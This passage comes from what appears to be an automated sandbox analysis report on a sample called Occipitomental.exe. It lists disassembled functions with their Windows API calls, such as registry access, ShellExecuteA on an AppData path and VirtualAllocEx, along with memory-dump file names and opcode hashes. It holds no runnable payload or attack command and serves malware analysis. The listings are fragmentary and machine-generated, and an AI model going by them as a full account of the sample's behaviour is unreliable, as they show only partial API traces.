                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
                                                  • String ID:
                                                  • API String ID: 3521207402-0
                                                  • Opcode ID: 8119772ac10bf76fd707d3c006cb085850cc59535bce078594651f4fe7517d90
                                                  • Instruction ID: b8d0583dc05b8a4b641891086a9cee3b9fffb48cfcfca3e9183047df695922e9
                                                  • Opcode Fuzzy Hash: 8119772ac10bf76fd707d3c006cb085850cc59535bce078594651f4fe7517d90
                                                  • Instruction Fuzzy Hash: 6E016D31904108EBDF11AFA1C98599F7BB6EF00354F20807BFA01B52E1C7785E55DB9A
                                                  Function 00405BE4 Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • RegOpenKeyExA.KERNELBASE(80000002,00405E29,00000000,00000002,?,00000002,?,?,00405E29,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405C0D
                                                  • RegQueryValueExA.KERNELBASE(?,?,00000000,00405E29,?,00405E29), ref: 00405C2E
                                                  • RegCloseKey.KERNELBASE(?), ref: 00405C4F
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CloseOpenQueryValue
                                                  • String ID:
                                                  • API String ID: 3677997916-0
                                                  • Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
                                                  • Instruction ID: aa1ddffca215974e7db513772cf32b94c10ac9f3b952a48a6b2e4b760bc22b34
                                                  • Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
                                                  • Instruction Fuzzy Hash: 0B01487254420AEFEB128F64ED44EEB3FACEF15354B004026F905A6220D235D964CBA6
                                                  Function 00401DEA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\barberknivene\Valonia,?), ref: 00401E30
                                                  Strings
                                                  • C:\Users\user\AppData\Local\barberknivene\Valonia, xrefs: 00401E1B
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ExecuteShell
                                                  • String ID: C:\Users\user\AppData\Local\barberknivene\Valonia
                                                  • API String ID: 587946157-2457997037
                                                  • Opcode ID: 25de626a14776eb92a403f17bd9a8c48ef0ab908df1c0754f4c6f92f3b84ebb2
                                                  • Instruction ID: ee8d38ae8572f78804fc61ee43f60716403cc2376375e1dcbb8ba3fba782be0d
                                                  • Opcode Fuzzy Hash: 25de626a14776eb92a403f17bd9a8c48ef0ab908df1c0754f4c6f92f3b84ebb2
                                                  • Instruction Fuzzy Hash: ACF02272B041007FDB10ABB19D4AF5E2AA8AB61319F20493BF141F60C2DABC88019A28
                                                  Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156memoryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • VirtualAllocEx.KERNELBASE(00000000), ref: 100028A7
                                                  • GetLastError.KERNEL32 ref: 100029AE
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: AllocErrorLastVirtual
                                                  • String ID:
                                                  • API String ID: 497505419-0
                                                  • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                  • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                  • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                  • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                  Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,0000052B,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                  • RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
                                                  • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CloseOpenQueryValue
                                                  • String ID:
                                                  • API String ID: 3677997916-0
                                                  • Opcode ID: 408be7f7af0432980abd1dac26f88ffd518e424ecbfe51417bc02b193546086b
                                                  • Instruction ID: e2c7ba43779b99907ab4ed3cb5240aedb23d0abedd6968282b04b845729cd546
                                                  • Opcode Fuzzy Hash: 408be7f7af0432980abd1dac26f88ffd518e424ecbfe51417bc02b193546086b
                                                  • Instruction Fuzzy Hash: C7119471905205EEDF14DF64C6889AEBBB4EF11349F20843FE542B62C0D2B84A45DA5A
                                                  Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                  • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend
                                                  • String ID:
                                                  • API String ID: 3850602802-0
                                                  • Opcode ID: f500664b12d1a9ca3d846aae4db6b5f226f7dec665eeac70e15b2afbb9a011de
                                                  • Instruction ID: f7ce4a596c66e03a629b41503ee4a79f45406b0749a56119d0920da1f960bb93
                                                  • Opcode Fuzzy Hash: f500664b12d1a9ca3d846aae4db6b5f226f7dec665eeac70e15b2afbb9a011de
                                                  • Instruction Fuzzy Hash: 0E01F431B24210ABE7194B389E04B6A37A8E710314F11823BF911F66F1D7B8DC42AB4D
                                                  Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,0000052B,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                  • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402327
                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00402330
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CloseDeleteOpenValue
                                                  • String ID:
                                                  • API String ID: 849931509-0
                                                  • Opcode ID: 9a4378aacb1e7ce38257e089b1e8eea051a7d09a633b617f59da02b2323c2f30
                                                  • Instruction ID: 87e18c8b9cd74d0bde17796df308dc93964f3544418e05dee947639aacfbea4d
                                                  • Opcode Fuzzy Hash: 9a4378aacb1e7ce38257e089b1e8eea051a7d09a633b617f59da02b2323c2f30
                                                  • Instruction Fuzzy Hash: 4CF04473A00110AFDB10BFA48A4EAAE76799B50345F14443BF201B61C1D9BD4D12866D
                                                  Function 00406092 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                    • Part of subcall function 00406028: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603F
                                                    • Part of subcall function 00406028: wsprintfA.USER32 ref: 00406078
                                                    • Part of subcall function 00406028: LoadLibraryA.KERNELBASE(?), ref: 00406088
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                  • String ID:
                                                  • API String ID: 2547128583-0
                                                  • Opcode ID: 9d06168268301413df58d073caad4fe4514c6b8c3f7d40560c439a7b978b8ec9
                                                  • Instruction ID: 774eb21b39d2aab2af5da2aca531c8e6d79f2737565152ed1a094a03d1eb9b6f
                                                  • Opcode Fuzzy Hash: 9d06168268301413df58d073caad4fe4514c6b8c3f7d40560c439a7b978b8ec9
                                                  • Instruction Fuzzy Hash: 28E0863254411166D610E7705D0487773AC9F84711302883EF942F2150D734AC26A669
                                                  Function 00405970 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetFileAttributesA.KERNELBASE(?,00402CA6,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 00405974
                                                  • CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405996
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: File$AttributesCreate
                                                  • String ID:
                                                  • API String ID: 415043291-0
                                                  • Opcode ID: afccfa4f4cb9885f70129b38e82a9c897481b005b6ad677f4785abde6c99dd13
                                                  • Instruction ID: f6a7e9eb3deff2eb260b804c641ce7d3451857e515cdc874e2100240a7e6f5b1
                                                  • Opcode Fuzzy Hash: afccfa4f4cb9885f70129b38e82a9c897481b005b6ad677f4785abde6c99dd13
                                                  • Instruction Fuzzy Hash: D2D09E31658301AFEF098F20DD1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16
                                                  Function 00405459 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CreateDirectoryA.KERNELBASE(?,00000000,004030CC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 0040545F
                                                  • GetLastError.KERNEL32 ref: 0040546D
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CreateDirectoryErrorLast
                                                  • String ID:
                                                  • API String ID: 1375471231-0
                                                  • Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
                                                  • Instruction ID: c1acecc5f45fa991ae160619e34a4bf2a4a440633476f6552c0bcd7b2c81b644
                                                  • Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
                                                  • Instruction Fuzzy Hash: D3C04C30B59502DAD6105B309E08B577D54AB50742F1449756546E10E0D6349451DD2F
                                                  Function 0040255C Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: wsprintf
                                                  • String ID:
                                                  • API String ID: 2111968516-0
                                                  • Opcode ID: ada3b140ba295c352108c2553593aeade3609864dedb8e8c343d6cd30ef6569c
                                                  • Instruction ID: 68088dc785b113487927e3424979fcd21bfffc6e0741ce1e25266fadf8abc407
                                                  • Opcode Fuzzy Hash: ada3b140ba295c352108c2553593aeade3609864dedb8e8c343d6cd30ef6569c
                                                  • Instruction Fuzzy Hash: 77212B70C04299BEDF318B984A885AFBF749F01318F1480BFE491B62D1C1BC8A85DB1D
                                                  Function 00402616 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402630
                                                    • Part of subcall function 00405C5B: wsprintfA.USER32 ref: 00405C68
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FilePointerwsprintf
                                                  • String ID:
                                                  • API String ID: 327478801-0
                                                  • Opcode ID: bbc760e2fbf18af716bad354949570cef7e6526301d91e5b59c15b624c2baf75
                                                  • Instruction ID: 129664d64dd7ab78e2113f1c670aa5260b97bd2bcd0fb385a8ece3d4cf4e9982
                                                  • Opcode Fuzzy Hash: bbc760e2fbf18af716bad354949570cef7e6526301d91e5b59c15b624c2baf75
                                                  • Instruction Fuzzy Hash: CFE04F76A04104BAE701FBA56E49CBF7769DB50319B20853BF201F44C1C67D8D459A3E
                                                  Function 00402283 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 004022BC
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: PrivateProfileStringWrite
                                                  • String ID:
                                                  • API String ID: 390214022-0
                                                  • Opcode ID: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
                                                  • Instruction ID: ed5e863b5af70a22674a87f6432e4eb84017b1e79b4e81bbc09640d5f5368664
                                                  • Opcode Fuzzy Hash: 4656573f168c310efd594f08e96abc660716981113b3fc3e41d9438b56e455a3
                                                  • Instruction Fuzzy Hash: 8AE04F31B001746FDB217AF14E8EE7F11989B84348B64417EF601B62C3DDBC4D434AA9
                                                  Function 00401717 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172B
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: PathSearch
                                                  • String ID:
                                                  • API String ID: 2203818243-0
                                                  • Opcode ID: 0d1a9607d8d56b126be912e0e3fc5c1f74024301e13f1c6a1145630448ee8d38
                                                  • Instruction ID: 9ea083cb95b284b15fb3e13a057d0d907976b361c65440cf8f2d9e735dfe3983
                                                  • Opcode Fuzzy Hash: 0d1a9607d8d56b126be912e0e3fc5c1f74024301e13f1c6a1145630448ee8d38
                                                  • Instruction Fuzzy Hash: 11E0D8B2604100BFE700DB649D49FAB3B98DB10368B308537F211A60C1D2B89A458629
                                                  Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • RegOpenKeyExA.KERNELBASE(00000000,0000052B,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
